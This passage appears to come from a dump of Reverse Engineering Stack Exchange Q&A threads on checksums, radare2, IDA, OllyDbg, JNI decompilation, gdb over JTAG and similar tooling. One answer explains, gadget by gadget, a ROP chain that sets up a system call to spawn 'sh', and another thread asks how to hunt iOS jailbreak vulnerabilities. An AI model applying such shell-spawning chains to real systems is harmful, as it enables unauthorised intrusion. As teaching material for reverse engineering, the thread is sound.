    00h 5Ch A2h 01h 01h 01h 65h\n00h 5Ch A2h 01h 01h 02h 66h\n00h 5Ch A2h 01h 01h 03h 67h\n00h 5Ch A2h 01h 01h 04h 68h\n\n00h 5Ch A2h 01h 01h 01h 65h\n00h 5Ch A2h 01h 01h 02h 66h\n00h 5Ch A2h 01h 01h 03h 67h\n00h 5Ch A2h 01h 01h 04h 68h\n00h 5Ch A2h 02h 01h 01h 69h\n00h 5Ch A2h 02h 01h 02h 6Ah\n00h 5Ch A2h 02h 01h 03h 6Bh\n
    \n\n

    One more example of the same message where the last 3 bytes are 00h:

    \n\n
    00h 5Ch A2h 00h 00h 00h 7Eh\n
    \n\n

    2nd EDIT- Added a Pastebin link to a ton of other samples, all of the same message type

    \n\n

    Its a different message but there is a lot of samples:\nLots of sample messages in Pastebin

    \n", "Title": "I really struggled to figure it out, now can anyone help me reverse engineer this checksum?", "Tags": "|serial-communication|crc|", "Answer": "

    I am wondering if you had made more progress on your checksum decoding. I have a very similar problem and i think your method may also works for my case. These are my data that I want to figure out the checksum method, which was long lost in earlier development:

    \n\n

    00 8a 51 0b a0 b8 a1\n00 8a 51 0b a1 b8 a3\n00 8a 51 0b a2 b8 23\n00 8a 51 0b a3 b8 25\n00 8a 51 0b a4 b8 a3\n00 8a 51 0b a5 b8 a5\n00 8a 51 0b a6 b8 25\n00 8a 51 0b a7 b8 27

    \n\n

    Greatly appreciate if you can discuss more on your progress which may contribute to solving this one. Also, I found out I can swap nibble and it has the same checksum as well. thank you in advanced.

    \n" }, { "Id": "11805", "CreationDate": "2016-01-20T13:17:58.610", "Body": "

    I am debugging Challenge 6 from the 2014 FlareOn challenges.\nFor incorrect imput it displays the \"bad\" message.\nRunning /i bad returns 0x004f3bf2 hit0_0 \"bad\".\nps @ 0x004f3bf2 returns bad as expected.\nMy problem is that if I try to find reference to this memory address, axt @ 0x004f3bf2, radare2 does not return anything, but the address is surely referenced:

    \n\n
    pd 1 @ 0x43710c\n0x0043710c      bff23b4f00     movl $0x4f3bf2, %edi        ; \"bad\" @ 0x4f3bf2\n
    \n\n

    I have written a simple application containig const char* bad=\"bad\"; printf(\"%s\\n\", bad);. In this case using the steps from above radare2 correctly identifies the line calling printf.

    \n", "Title": "radare2 does not show reference to memory address", "Tags": "|radare2|", "Answer": "

    This is because radare2 doesn't come with analysis by default, moreover, it doesn't have (yet?) great analysis capabilities. The reason why (beside the lack of time/interest/contributors of course) is explained in the previous link.

    \n\n

    Also, please note that the string isn't referenced: during the disassembly, radare2 will detect strings and tell you about them, but this doesn't mean that it will add them to its internal database.

    \n" }, { "Id": "11812", "CreationDate": "2016-01-20T20:22:45.390", "Body": "

    I have app that used to display a message \"processing\" after clicking OK button then another message \"done\", but now it doesn't. So I got reverse it and see whats happening, but it turns out that the way of searching for strings doesn't work, so I searched for the messagebox API but I found messageboxA twice and MessageboxW once and they both seem not be used for that.

    \n\n

    So, I would like to know if it's possible that the message could be displayed without the use of MessageBox API or even DLL can display the message without the API?\nplease help

    \n", "Title": "is ther a way an app can display a message without the use of messagebox API?", "Tags": "|windows|patch-reversing|delphi|", "Answer": "
      \n

    1. First you need to determine if it is windows message box or not.

      \n\n

      What kind of message is in the message box (custom/standard win32/compilation of system strings)? Also an screen-shot would be nice if possible (so we can see more...) If you can make it work on some test machine then check also the CLASS_ID of the message box it can reveal if it is windows message box or custom VCL Form that just looks like it... You can obtain the Class_ID with

      \n\n\n\n

      but its deleted and you do not have enough rep on SO to see it so here the copied source (VCL C++ so you need just port to Pascal if you do not have Borland C++) from it:

      2. \n
    \n\n\n\n
        //---------------------------------------------------------------------------\n    //--- Windows ver: 1.1 ------------------------------------------------------\n    //---------------------------------------------------------------------------\n    HWND getwindow(HWND hnd0,AnsiString nam,AnsiString cls=\"\")\n        {\n        int i,l,ln=nam.Length(),lc=cls.Length(),e;\n        char txt[256];\n        HWND hnd1;\n        if (hnd0==NULL) hnd1=GetTopWindow(hnd0);\n        else            hnd1=GetWindow(hnd0,GW_HWNDNEXT);\n        for (;;)\n            {\n            e=1;\n            if (hnd1==hnd0) break;\n            if (hnd1==NULL) break;\n            l=GetWindowText(hnd1,txt,256);\n            if (e) { if (l>ln) l=ln; if (l<ln) e=0; else for (i=0;i<l;i++) if (txt[i]!=nam[i+1]) { e=0; break; } }\n            l=RealGetWindowClass(hnd1,txt,256);\n            if (e) { if (l>lc) l=lc; if (l<lc) e=0; else for (i=0;i<l;i++) if (txt[i]!=cls[i+1]) { e=0; break; } }\n            if (e) return hnd1;\n            hnd0=hnd1;\n            hnd1=GetWindow(hnd0,GW_HWNDNEXT);\n            }\n        return NULL;\n        };\n    //---------------------------------------------------------------------------\n    HWND getsubwindow(HWND hndp,HWND hnd0,AnsiString nam,AnsiString cls=\"\")\n        {\n        int i,l,ln=nam.Length(),lc=cls.Length(),e;\n        char txt[256];\n        HWND hnd1;\n        if (hnd0==NULL) hnd1=GetTopWindow(hnd0);\n        else            hnd1=GetWindow(hnd0,GW_HWNDNEXT);\n        for (;;)\n            {\n            e=1;\n            if (hnd1==hnd0) break;\n            if (hnd1==NULL) break;\n            if (GetParent(hnd1)!=hndp) e=0;\n            l=GetWindowText(hnd1,txt,256);\n            if (e) { if (l>ln) l=ln; if (l<ln) e=0; else for (i=0;i<l;i++) if (txt[i]!=nam[i+1]) { e=0; break; } }\n            l=RealGetWindowClass(hnd1,txt,256);\n            if (e) { if (l>lc) l=lc; if (l<lc) e=0; else for (i=0;i<l;i++) if (txt[i]!=cls[i+1]) { e=0; break; } }\n            if (e) return hnd1;\n            hnd0=hnd1;\n            hnd1=GetWindow(hnd0,GW_HWNDNEXT);\n            }\n        return NULL;\n        };\n    //---------------------------------------------------------------------------\n    bool getwindows(HWND &hnd,AnsiString &nam,AnsiString &cls)\n        {\n        int i,l;\n        char txt[256];\n        HWND hnd0=hnd;\n        nam=\"\"; cls=\"\";\n        if (hnd0==NULL) hnd=GetTopWindow(hnd0);\n        else            hnd=GetWindow(hnd0,GW_HWNDNEXT);\n        if (hnd==hnd0) { hnd=NULL; return false; }\n        if (hnd==NULL) { hnd=NULL; return false; }\n        l=GetWindowText(hnd,txt,256);       for (i=0;i<l;i++) nam+=txt[i];\n        l=RealGetWindowClass(hnd,txt,256);  for (i=0;i<l;i++) cls+=txt[i];\n        return true;\n        };\n    //---------------------------------------------------------------------------\n    //---------------------------------------------------------------------------\n    //---------------------------------------------------------------------------\n
    \n\n

    It is written in BDS2006 Turbo C++ and use VCL so you need to convert it to your Language. Actually it uses only AnsiString from VCL so just change it to any string you have. It is WinAPI based so include \"Windows.h\"

    \n\n

    Here is some example of usage:

    \n\n\n\n
        HANDLE hnd,hnd0;\n    AnsiString nam,cls;\n    AnsiString s,t=\"\";\n    for (hnd=NULL;;)\n        {\n        if (!getwindows(hnd,nam,cls)) break;    // get hnd,name and class\n        hnd0=GetParent(hnd);            // get parent hnd\n        if (hnd0!=Application->Handle) continue;// filter out unwanted windows\n        // here process found window or add it to list or what ever\n        // for example add to memo->Lines->Add(...) so you obtain a list of all windows ...\n        s=AnsiString().sprintf(\"%X\",hnd); while (s.Length()< 8) s=\"0\"+s; t+=s+\"h \";\n        s=cls;                            while (s.Length()<32) s=s+\" \"; t+=s+\" \";\n        s=nam;                            while (s.Length()<32) s=s+\" \"; t+=s+\"\\r\\n\";\n        }\n    mm_log->Text=t; // just my memo\n
    \n\n

    Here few lines of the unfiltered output:

    \n\n
        Handle:   Class_ID:                        Name\n    0003060Ch TTokenWindow                     CodeParamWindow                 \n    00030374h ComboLBox                                                        \n    000100F8h tooltips_class32                                                 \n    000100FAh TaskListThumbnailWnd                                             \n    000100E6h tooltips_class32                                                 \n    000100E8h tooltips_class32                                                 \n    000100ECh tooltips_class32                                                 \n    000100EEh tooltips_class32                                                 \n    000100D0h tooltips_class32                                                 \n    000100E4h tooltips_class32                                                 \n    000100C8h Button                           Start                           \n    00030118h tooltips_class32                                                 \n    0003013Eh tooltips_class32                                                 \n    00040122h tooltips_class32                                                 \n    00090102h tooltips_class32                                                 \n    000100C2h Shell_TrayWnd                                                    \n    000303ECh TaskSwitcherOverlayWnd                                           \n    00010240h IME                              Default IME                     \n    0001023Eh TaskSwitcherWnd                  Task Switching                  \n    00030376h ComboLBox                                                        \n    000403A0h Auto-Suggest Dropdown                                            \n    00010108h CiceroUIWndFrame                 CiceroUIWndFrame                \n    000100C6h MSCTFIME UI                      MSCTFIME UI                     \n    000100C0h IME                              Default IME                     \n    00010158h tooltips_class32                                                 \n    00010246h ATL:000007FEF0EF52C0             Network Flyout                  \n    00010180h CDA Server Class                 Administrator : CDA Server      \n    00010182h IME                              Default IME                     \n    0001008Ch CiceroUIWndFrame                 CiceroUIWndFrame                \n    0001008Ah CiceroUIWndFrame                 TF_FloatingLangBar_WndTitle     \n    000303CEh tooltips_class32                                                 \n    0003061Eh TForm1                           Project Euler                   \n    00090566h TApplication                     Project1                        \n    0003061Ah TPUtilWindow                                                     \n    00050610h IME                              Default IME                     \n    00090386h MSCTFIME UI                      MSCTFIME UI                     \n    00210408h IME                              Default IME                     \n    000B0416h TEditWindow                      Unit1.cpp                       \n    0007057Ch TWatchWindow                     Watch List                      \n    000105B2h TTabDockHostForm                 Project1.bdsproj - Project Manager\n
    \n\n

    As you can see there will be many handles (all the visual components are like window so you need to filter out many things ... for example find the hnd of your Message box App. and then show only handles which have the same parrent hnd0.

    \n\n

    For example I just created a message box to get the Class_ID:

    \n\n
        int ret=MessageDlg(\"Test message\",mtCustom,TMsgDlgButtons(mrOk),-1); // cls = \"TMessageForm\"\n
    \n\n

    To get the parent handle you need to search the unfiltered list for class TApplication. I used Application->Handle instead as I test this directly in the same App.

    \n\n
      \n

    1. if the message box is native win32

      \n\n

      Then that does not necessarily mean the App calls winapi directly. Most likely it uses some VCL encapsulation of it instead. So browns the Delphi IDE help for any message box function names ... test them and look if the Class_ID matches with your app ...

      2. \n

    2. if the message box is not native win32

      \n\n

      Then it is most likely normal VCL window. The class name is then the name of the Delphi window class like TForm1. Name of window is usually its Caption and for App the exe filename. In this case showing dialog is different:

      \n\n
        \n
      • set position Left,Top,Width,Height or call SetBounds()
        • \n
      • set the message can be a TLabel,TEdit,... Text or Caption property or directly rendered on Canvas.
        • \n
      • set Visible=true or use ShowWindow,ShowModal ...
        • \n
      \n\n

      So you know what to look for ...

      3. \n

    3. Text

      \n\n

      For multilingual App the text is usually in some *.ini or *.dll file. In case of DLL the DLL can be compressed or encrypted so it is not easily visible. Try to search for files with Languages in filenames.

      4. \n
    \n\n

    Hope it helps a bit if you got more info let me know.

    \n" }, { "Id": "11827", "CreationDate": "2016-01-23T12:09:55.337", "Body": "

    I wish to set a breakpoint on a call to a specific windows API function, e.g.-\nRegQueryValueExA()

    \n\n

    It is resolved at runtime in unknown stage of malware execution, and I wish to initiate manual debugging after this API is called.

    \n\n

    Is there an easy way other from detecting the moment it is resolved?\nI have some other lazy-ass solutions but I guess that there's a proper approach to this issue.

    \n", "Title": "Breaking on specific API", "Tags": "|debugging|winapi|breakpoint|", "Answer": "

    It sounds like you're asking two questions here:

    \n\n
      \n
    1. How to have your debugger break when RegQueryValueExA() is called?
      2. \n
    2. How to have your debugger break when the address for RegQueryValueExA is resolved?
      3. \n
    \n\n

    For #1, you can just set a breakpoint on the first instruction of advapi32!RegQueryValueExA. Consult your debugger's documentation for how to set breakpoints.

    \n\n

    For #2, you'd need to do the following:

    \n\n
      \n
    1. Find the index of RegQueryValueExA in the AddressOfNames array from advapi32.dll's IMAGE_EXPORT_DIRECTORY.
      2. \n
    2. Set a hardware-read breakpoint on the corresponding index in the AddressOfFunctions array from advapi32.dll's IMAGE_EXPORT_DIRECTORY.
      3. \n
    3. When the hardware breakpoint gets hit, examine the callstack to see if the address of RegQueryValueExA was being resolved by code in your target module. If not, wait until the breakpoint is hit again and check again. Otherwise, you've found the code in your target module that resolves RegQueryValueExA.
      4. \n
    \n" }, { "Id": "11830", "CreationDate": "2016-01-23T22:03:01.087", "Body": "

    An Android application I'm analyzing makes calls to a native library to generate a certain value. Here's an example of the native library function declaration from SMALI (Decompiled Java):

    \n\n
    .method private native createAlgorithmSolver(II)J\n.end method\n\n.method private native solveAlgorithm(Ljava/lang/String;IJ)[I\n.end method\n
    \n\n

    This makes sense. createAlgorithmSolver accepts two ints, and returns a long. solveAlgorithm accepts a 32 character string such as \"SM1r0WeJH6qxdfNua2zg7t8ITwQUZYn5\", and it accepts an int, and a long, and returns an int array.

    \n\n

    When I decompile the actual \".so\" file with IDA Hex-rays decompiler, I get this:

    \n\n
    createAlgorithmSolver(int a1, int a2, unsigned int a3, int a4)\nsolveAlgorithm(int a1, int a2, int a3, unsigned int a4, signed int a5)\n
    \n\n

    When I use \"Retargetable Decompiler\" (https://retdec.com) with Python pseudo code, I get these function declarations:

    \n\n
    def createAlgorithmSolver(a1, a2):\ndef solveAlgorithm(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17):\n
    \n\n

    What's causing these weird discrepancies?

    \n", "Title": "Discrepancies in function declarations from decompilers?", "Tags": "|ida|disassembly|c|android|java|", "Answer": "

    JNI methods take an extra parameter of type JNIEnv*, which is a pointer to a table of function pointers. This is how JNI methods can make calls into the JVM, which is necessary to do anything nontrivial.

    \n\n

    So that accounts for the first int argument of the functions you listed.

    \n\n

    Also, the functions are non-static, so they obviously take a hidden this parameter. That accounts for the second argument. After that comes the source level parameters of the methods. In the first case, it's just two ints. In the second case, it's a String object (i.e. a jstring pointer), an int, and a long.

    \n\n

    However, the decompiler isn't smart enough to guess what the actual types of the parameters are meant to be - it just sees how many values are passed in registers and on the stack. Therefore, all the pointers show up as ints and the long shows up as a pair of ints.

    \n" }, { "Id": "11831", "CreationDate": "2016-01-23T22:57:27.963", "Body": "

    Suppose, I have a new iPhone 6s with latest iOS, and I want to find vulnerabilities in iOS itself. iPhone is not jailbroken. How do I set up the proper environment for this? What software and/or hardware tools do I need to accomplish this?

    \n\n

    P.S.: Which component of iOS would you recommend me to start with? Which one is more likely to contain vulnerabilities that could result in jailbreak?

    \n", "Title": "iOS exploit hunting environment", "Tags": "|disassembly|debugging|exploit|ios|fuzzing|", "Answer": "

    try reading this book to get some answers:-

    \n\n

    iOS Hacker's Handbook\nhttp://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html

    \n\n

    Covers iOS security architecture, vulnerability hunting, exploit writing, and how iOS jailbreaks work\nExplores iOS enterprise and encryption, code signing and memory protection, sandboxing, iPhone fuzzing, exploitation, ROP payloads, and baseband attacks\nAlso examines kernel debugging and exploitation\nCompanion website includes source code and tools to facilitate your efforts

    \n" }, { "Id": "11838", "CreationDate": "2016-01-24T11:34:17.593", "Body": "

    I recently saw a video of someone doing some rop work. And I have a lot of trouble about what is going on. His setup is like this:

    \n\n
    [garbage]\n[xor eax]\n[xor ebx]\n[address of \"sh\"]\n[pop ecx]\n[address of Null byte]\n[pop edx]\n[address of Null byte]\n[add eax 11]\n
    \n\n

    The first instruction is xor eax (where eip return is) , and I don't understand where the esp is when there are the pop instructions

    \n\n

    Link to the video : https://youtu.be/uYHOxlYzH0A

    \n", "Title": "Trouble understanding this rop chain", "Tags": "|assembly|buffer-overflow|", "Answer": "

    The ROP chain uses gadgets, which are short code snippets performing a basic function. The instruction what you see in the Python script in the video are the gadgets names, which were selected in the beginning.
    \nAs an example, the XOREAX gadget was a code snippet at address 0x080512c0, which contains the following instructions:

    \n\n
    xor eax, eax\nret\n
    \n\n

    So, whet the XOREAX gadget is called, the eax register is cleared and a ret instruction is executed. Because the ret load an address from the stack and jumps to it, this instruction is used to call the next gadget.

    \n\n

    What you see in the Python script is the construction of the payload, which will be placed into the stack. The first address will be the overwritten return address and the next values will be the addresses of the gadgets. In some places in the payload you see SH and NULL. It is because the previous gadget load some value from the stack into a register, so the value should be placed into the stack also. The SH is an address points to the sh string, while the NULL is an address points to a 0 value in the memory.

    \n\n

    So, the whole ROP chain is only initializes the registers to execute a system call.

    \n\n
    XOREAX                             -> clears EAX\nPOPEBX, SH                         -> moves 'sh' string to EBX\nPOPECX, NULL                       -> moves a pointer to a NULL value to ECX\nPOPEDX, NULL                       -> moves a pointer to a NULL value to EDX\nADDEAX3, ADDEAX3, ADDEAX3, ADDEAX2 -> set EAX to 11\nSYSCALL                            -> perform syscall instruction\n
    \n" }, { "Id": "11846", "CreationDate": "2016-01-25T16:54:54.053", "Body": "

    I'm trying to reverse-engineer the file format of a game's save files. The game is written in Unity, thus .NET, so it was possible to view an approximated code with RedGate Reflector.

    \n\n

    Right now I know the format is a header, followed by a Deflated stream of map data, which is created with ICSharpZipLib.

    \n\n

    The header is composed of two strings, prefixed by a byte with their length. The first string is just a format specifier, the second is a version identifier. After those strings, there is a byte denoting if the contents are compressed or not (but that's hardcoded into the game to always compress).

    \n\n
    <byte flen> <byte[flen] format> <byte vlen> <byte[vlen] version> <byte compress> <data>\n
    \n\n

    The game reads the file like this:

    \n\n
      \n
    1. open file for reading, create a BinaryReader around the stream.
      2. \n
    2. read format specifier with ReadString
      3. \n
    3. read version with ReadString and int.Parse, warning the player if it's an old save
      4. \n
    4. use ReadBoolean to check if it's a compressed file\n\n
        \n
      • if true, wraps the file stream in a InflaterInputStream
        • \n
      5. \n
    5. read the contents of the file into a string, and pass it to other functions
      6. \n
    \n\n

    My trouble is reading the contents, I've written a simple C# program that mimics the game's behaviour, using the exact same library version, but I get a \"Unexpected EOF\". Editing the file to remove the non-compressed header and opening it with other command-line inflate utilities also results in that error. The file is guaranteed valid, since the game can open it without problem.

    \n\n

    Below are two example files. The game in question is called Atmosphir, and can be downloaded here.

    \n\n

    https://mega.nz/#!f5QFHJ6T!55LvsPFaaAp7Y-ZS3GbLPHg8Ohh-p-5M0AR_Hb7jd1c

    \n\n

    https://mega.nz/#!C5xxEapL!ZZ9Tg2kjQetr9KXmfBn5rBc5c5BZ1UUXeqSLJvfJiyQ

    \n", "Title": "Compressed stream unopenable with external tools", "Tags": "|.net|decompress|", "Answer": "

    Perhaps your code tries to read more records than specified in the compressed header?

    \n\n

    My code below works just fine (with \\Atmosphir\\Atmosphir_Data\\Atmosphir_Data\\Managed\\ICSharpCode.SharpZipLib.dll as a reference):

    \n\n
    using System;\nusing System.IO;\nusing ICSharpCode.SharpZipLib.Zip.Compression.Streams;\n\nnamespace Atmo\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            StreamReader sr = new StreamReader(\"cc16.atmo\");\n            BinaryReader br = new BinaryReader(sr.BaseStream);\n            Console.WriteLine(\"Format: \" + br.ReadString());\n            Console.WriteLine(\"Version: \" + br.ReadString());\n            Console.WriteLine(\"Compressed: \" + br.ReadBoolean());\n            br = new BinaryReader(new InflaterInputStream(sr.BaseStream));\n            int total = br.ReadInt32();\n            for (int i = 0; i < total; i++)\n            {\n                Console.WriteLine(br.ReadString());\n            }\n        }\n    }\n}\n
    \n\n

    Output:

    \n\n
    Format: AtmoMap\nVersion: 5\nCompressed: True\nmi_flag_finish\nmi_block_color_white\nmi_wood_sticks\nmi_block_color_green\nmi_block_bricks_1q_cylinder_straight\nmi_block_bricks\nmi_block_bricks_1q_pipe\nmi_ladder_creeper_green\nmi_gravity_area_uniform\nmi_sandcastle_corner\nmi_sandcastle_connection\nmi_condition_trigger\nmi_skybox_realistic\nmi_skybox_adventure\nmi_info_sticker\nmi_condition_count\nmi_skybox_halloween_nightsky\nmi_skybox_afternoon\nmi_condition_area\nmi_bark_slice_platform\nmi_waypoint\nmi_block_color_blue\nmi_block_bricks_white_ledge\nmi_ladder_hanging\nmi_moving_platform_disc\nmi_block_bricks_lightbrown\nmi_block_candy_vanilla_cake\nmi_candy_floor_orange\nmi_sandcastle_tower_top\nmi_sandcastle_tower\nmi_block_bricks_white\nmi_torch\nmi_block_bricks_white_2b_diagonal\nmi_floor_green\nmi_block_monkey\nmi_block_bricks_half\nmi_bridge_hanging\nmi_block_bricks_lightbrown_2b_diagonal\nmi_flag_checkpoint\nmi_muka_boss\nmi_death_skull\nmi_muka_shaman\nmi_muka_axe_warrior\nmi_muka_scout\nmi_muka_crypt_keeper\nmi_candy_gumdrops_yellow\nmi_block_candy_gingerbread_glazed_yellow\nmi_candy_gumdrops_green\nmi_candy_sugartree_red\nmi_candy_sugartree_yellow\nmi_candy_floor_violet\nmi_candy_sugartree_blue\nmi_candy_floor_red\nmi_block_candy_gingerbread\nmi_block_candy_gingerbread_glazed_pink\nmi_candy_gumdrops_red\nmi_candy_floor_blue\nmi_floor_muka\nmi_floor_caved\nmi_muka_sticks\nmi_block_wooden_bark\nmi_torchwall_steel\nmi_totem\nmi_floor_river_grass\nmi_plant\nmi_block_crate\nmi_flag_start\nmi_floor_sand\nmi_gate_skull\nmi_muka_tent_open\nmi_stonehead\nmi_muka_openbox\nmi_block_bricks_stone\nmi_mutation_ammo\nmi_fence_straight\nmi_2d_force_area\nmi_block_monkey_broken\nmi_block_bricks_white_floor\nmi_block_sand\nmi_block_color_black\nmi_block_color_yellow\nmi_block_color_lightbrown\nmi_block_color_lightgreen\nmi_block_color_red\nmi_block_color_purple\nmi_block_candy_gingerbread_sprinkled\nmi_block_magma2\nmi_block_color_brown\nmi_river_water\nmi_stones\nmi_big_flowers\nmi_river_reed\nmi_block_sanddirt\nmi_block_river_earth\n
    \n" }, { "Id": "11868", "CreationDate": "2016-01-28T08:08:27.503", "Body": "

    I'm trying to learn how to use the IDA pro debugger (having used Visual Studio's C++ debugger for years) and I'm struggling to find how to switch the code/asm view back to the current instruction that debugger broke on?

    \n\n

    Similar to the \"Show next statement\" button in Visual Studio:

    \n\n

    \"enter

    \n\n

    PS. Here's my situation. Say, I broke on some instruction and then using IDA's \"graph view\" navigated away from that instruction. How do I go back?

    \n", "Title": "What is the command to \"go to current statement\" in IDA debugger?", "Tags": "|ida|windows|debuggers|", "Answer": "

    You can navigate back to the previous position simply by pressing ESC. If you want to back to the current IP address, just press the right mouse button a select Jump to IP

    \n\n

    .\n\"Jump

    \n\n

    Alternatively you can press G and set EIP as address.

    \n" }, { "Id": "11869", "CreationDate": "2016-01-28T08:15:07.547", "Body": "

    I'm just learning the IDA pro debugger, so I apologize if this is something simple. Say, if I opened a debugee process and started stepping through it with a debugger (WinDbg) and then want to look up the contents of memory. How do I change the address in the hex view pane?

    \n\n

    (Circled in red in this screenshot)

    \n\n

    \"enter

    \n", "Title": "How to change address in the hex view in IDA debugger?", "Tags": "|ida|windows|debugging|windbg|", "Answer": "

    Click on the hex view plane and press G to change the address.

    \n" }, { "Id": "11874", "CreationDate": "2016-01-28T12:44:24.300", "Body": "

    I have a text file which contains a list of function name and address pairs, structured like this :

    \n\n
    194C:841B LoadMessage\n194C:8429 ShowDialog\n...\n
    \n\n

    Is there a way (eg: script, automation, ...) to automatically rename all relation functions of the IDA disassembly according the text file ?

    \n", "Title": "How to automatically rename some IDA functions from a given list?", "Tags": "|ida|idapython|automation|script|", "Answer": "

    This way to automate things called IDAPython, its documentation is here:

    \n\n

    1 - Save this script somewhere, remember where.

    \n\n
    #Not used, not debbugged, not ran even once\n#Use on your own risk, beware errors\n\nimport idaapi\nimport idautils\nimport idc\n\ndef do_rename(l):\n    splitted = l.split()\n    straddr = splitted[0]\n    strname = splitted[1].replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n\n    if straddr.find(\":\") != -1: #assuming form segment:offset\n        #removing segment, offset should be unique, if it isn't so, we should handle it differently\n        straddr = straddr.split(\":\")[1]\n\n    eaaddr = int(straddr, 16)\n    idc.MakeCode(eaaddr)\n    idc.MakeFunction(eaaddr)\n    idc.MakeNameEx(int(straddr, 16), strname, idc.SN_NOWARN)\n\n\nif __name__ == \"__main__\":\n    f = open( \"your_file_name\", \"r\")\n    for l in f:\n        do_rename(l)\n    f.close()\n
    \n\n

    In IDA, open File-->Script file, chose the script and run it.\nNote that you should insert your file name and verify that the address is converted well.

    \n\n

    Hope it gives some kind of direction.

    \n" }, { "Id": "11876", "CreationDate": "2016-01-28T21:31:46.010", "Body": "

    Is there any way to call a function on a remote target that's attached via JTAG? Currently I have OpenOCD hooked up to a target and I'm attached with gdb, and I know the address of the function I want to call as well as its signature.

    \n\n

    With a normal binary and gdb, the following (somewhat surprisingly) works. Supposing I have a function like:

    \n\n
    static int f(int x) {\n    printf(\"The value of x is %d\\n\", x);\n    return x*2;\n}\n
    \n\n

    I can run that function, even in a stripped binary, under gdb, as long as I know its address:

    \n\n
    cosimo:~ moyix$ gdb -q --args ./hello \nReading symbols from ./hello...(no debugging symbols found)...done.\n(gdb) break *0x100000ee0\nBreakpoint 1 at 0x100000ee0\n(gdb) r\nStarting program: /Users/moyix/hello \n\nBreakpoint 1, 0x0000000100000ee0 in _mh_execute_header ()\n(gdb) call (0x100000f20)(10)\nThe value of x is 10\n$1 = 20\n
    \n\n

    But trying to do something similar with gdb hooked up to OpenOCD gives me:

    \n\n
    moyix@dev:~/git/openocd-code$ arm-none-eabi-gdb -q\n(gdb) target remote localhost:3333\nRemote debugging using localhost:3333\n0x8006b06c in ?? ()\n(gdb) call (0xC0066E08)(0x10000, 4, 0, 0, 0)\nEntry point address is not known.\n(gdb) \n
    \n\n

    I gather from a bit of googling that it's because gdb wants somewhere to place its dummy stack frame, and since it has no symbol information or even an entry point for the binary it doesn't know where to put it. Is there any way to manually give it a location for its dummy frame (with the hope that it'll put things back the way they were once the function executes...)?

    \n", "Title": "Call function in remote (OpenOCD) target from gdb", "Tags": "|gdb|jtag|", "Answer": "

    I have come across this question for the same issue on a different use case: debugging an ELF binary through qemu-arm, trying to call code from the attached process.

    \n\n

    I could give gdb the information it missed, designating the target binary file as a symbol file (using the symbol-file command).

    \n\n

    https://sourceware.org/gdb/onlinedocs/gdb/Files.html

    \n\n

    Of course, it might be more complicated in your case. Linking a binary file using the live in-device addresses might do the trick, although it may not be trivial.

    \n" }, { "Id": "11889", "CreationDate": "2016-01-30T01:38:43.957", "Body": "

    I'm trying to interpret some contents of memory, it would be nice to decode contents of the lower left window in Olly (memory hex dump).

    \n\n

    A specific example is a char** array. Specifically char *argv[]. argv is a pointer to an array of pointers, each of which is the beginning of a string. Here I have 3 arguments to my program, so including the path and exe name that makes argc=4 as I enter main(int argc, char *argv[]).

    \n\n

    In the image below I graphically show argv=0x0041 0E80 from where we see 4 32-bit values in memory, each is a pointer to the beginning of strings argv[0], argv1, argv[2], and argv[3] (sorry about red line).

    \n\n

    \"hexdump

    \n\n

    If I select the 4 bytes at 00410EA0, or those 16 bytes starting at 00410EA8 and right-click in this hex-dump window of Olly (lower left quadrant) I'd like to bring up a list of strings. I see there are options to decode as structures and pointer to structure, so I would think there would be something simpler for arrays and arrays of strings.

    \n\n

    Any hints? Thanks.

    \n", "Title": "List arrays (de-reference pointers) in Ollydbg", "Tags": "|ollydbg|", "Answer": "

    right click in the dump pane -> integer -> address with ascii/unicode dump

    \n\n

    src , execution , and screen shot below

    \n\n
    multiargs.exe I Me You We Us Them\n\narg 00 = multiargs.exe\narg 01 = I\narg 02 = Me\narg 03 = You\narg 04 = We\narg 05 = Us\narg 06 = Them\n\nollydbg.exe multiargs.exe I Me You We Us Them\n\ntype multiargs.cpp\n\n#include <stdio.h>\nint main (int argc , char *argv[]) {\n        for (int i=0;i<argc;i++){\n                printf(\"arg %02d = %s\\n\",i,argv[i]);\n        }\n}\n
    \n\n

    \"enter

    \n" }, { "Id": "11892", "CreationDate": "2016-01-30T09:11:25.887", "Body": "

    Is it possible to somehow copy/paste sections of data in the hex dump, or lines of code in the code (top left in CPU window disassembly window)?

    \n\n

    Example: cloning a function, and then making some changes. Another example, copying a section of code that puts arguments on the stack and then calls a function like opening a messagebox, i.e. copying some 4-5 lines.

    \n\n

    I can double click in the code (disassembly) window in the \"command\" column to open the \"assemble\" dialog, copy the text (such as CALL 004026F8), then close it (without changing this instruction) then go to some NOP's or 0's or something, double clicking (\"command\" column again) to open the assembly dialog again and pasting it in. This is ok for one or two instructions, but it would be nice if I could just select several lines and copy/paste them at once. Or if I could do it in the hex dump window by copying just bytes instead of lines of code.

    \n\n

    I see the \"binary copy\" and \"binary paste\" in the hex dump window but they only do it for one byte, not a selected region.

    \n\n

    I see in some videos people noting down addresses and running a separate hex editor program just to do this type of operation.

    \n\n

    By the way, by selecting a region of data in the hex dump, one can right-click \"Open in separate dump window\" to open a window containing just this, and then write this selected data out to a file link. And one can bring in .bin files (not by File-Open but by drag and dropping them in) to a window also. But I can't see how to copy more than one byte at a time between them.

    \n\n

    I'm almost embarrassed to ask this question, but I like Olly and want to be a \"power-user\".

    \n", "Title": "copy/pasting sections of code or hex in Ollydbg", "Tags": "|ollydbg|", "Answer": "

    select -> ctrl+c copy the whole display as text usefull for taking notes \noption available in all mdi windows

    \n\n
    CPU Disasm\nAddress          Hex dump   Command                                     Comments\n01261970 _allmul /$  8B4424 MOV     EAX, DWORD PTR SS:[ESP+8]      ; multiargs._allmul(void)\n01261974         |.  8B4C24 MOV     ECX, DWORD PTR SS:[ESP+10]\n01261978         |.  0BC8   OR      ECX, EAX\n0126197A         |.  8B4C24 MOV     ECX, DWORD PTR SS:[ESP+0C]\n
    \n\n

    binary copy copies only the bytes

    \n\n
    8B 44 24 08 8B 4C 24 10 0B C8 8B 4C 24 0C\n
    \n\n

    binary paste pastes multiple bytes

    \n\n

    for pasting several copied bytes your paste area selection must be \nas big as copy if you copied 5 bytes and want to paste 5 bytes select 5 bytes before pasting

    \n\n

    to make the address column symbols highlighted use \noptions (alt + o ) dump -> highlight symbolic names in address column

    \n" }, { "Id": "11893", "CreationDate": "2016-01-30T09:35:52.263", "Body": "

